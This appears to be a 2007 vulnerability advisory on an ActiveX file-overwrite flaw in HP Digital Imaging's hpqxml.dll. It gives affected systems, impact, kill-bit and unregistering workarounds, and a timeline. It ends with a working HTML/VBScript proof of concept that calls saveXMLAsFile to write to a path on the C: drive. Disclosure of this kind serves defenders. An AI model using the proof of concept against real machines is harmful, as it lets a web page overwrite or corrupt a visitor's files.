hpqxml.dll version 2.0.0.133 from the HP Photo Digital Imaging software package has a flaw that allows for arbitrary file overwrite on the underlying system.
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hpqxml.dll 2.0.0.133 from HP Digital Imaging Arbitary Data Write
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Internal ID: VULWAR200706275.
Introduction
hpqxml.dll is a library included in the HP Photo Digital Imaging
software package from the HP Company. http://www.hp.com.
Link: http://www.hp.com/united-states/consumer/digital_photography/home_f.html
Tested In
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- Windows vista Professional English/French SP1 with IE 7.0
Summary
The saveXMLAsFile method doesn't check if it is being called from the application
or from a malicious user.
Impact
The vulnerability is due to an error in the saveXMLAsFile method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system. Besides, the method does not check the
file headers before writing.
Workaround
- Activate the Kill bit zero in clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3.
- Unregister hpqxml.dll using regsvr32.
Timeline
June 27, 2007 -- Bug discovery.
June 27, 2007 -- Bug published.
Credits
* callAX <callax@shellcode.com.ar>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>
Technical Detail
saveXMLAsFile method receives a filename as an argument, with this format "c:\path\file".
Proof of Concept
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<h3>Hpqxml.dll 2.0.0.133 HP Digital Imaging Arbitary Data Write</h3><br>
<object classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3' id='target' /></object>
<input language=VBScript onclick=HP() type=button value="Proof of Concept">
<script language = 'vbscript'>
Sub HP()
filename = "C:\NTDETECT_.COM"
target.saveXMLAsFile filename
End Sub
</script>
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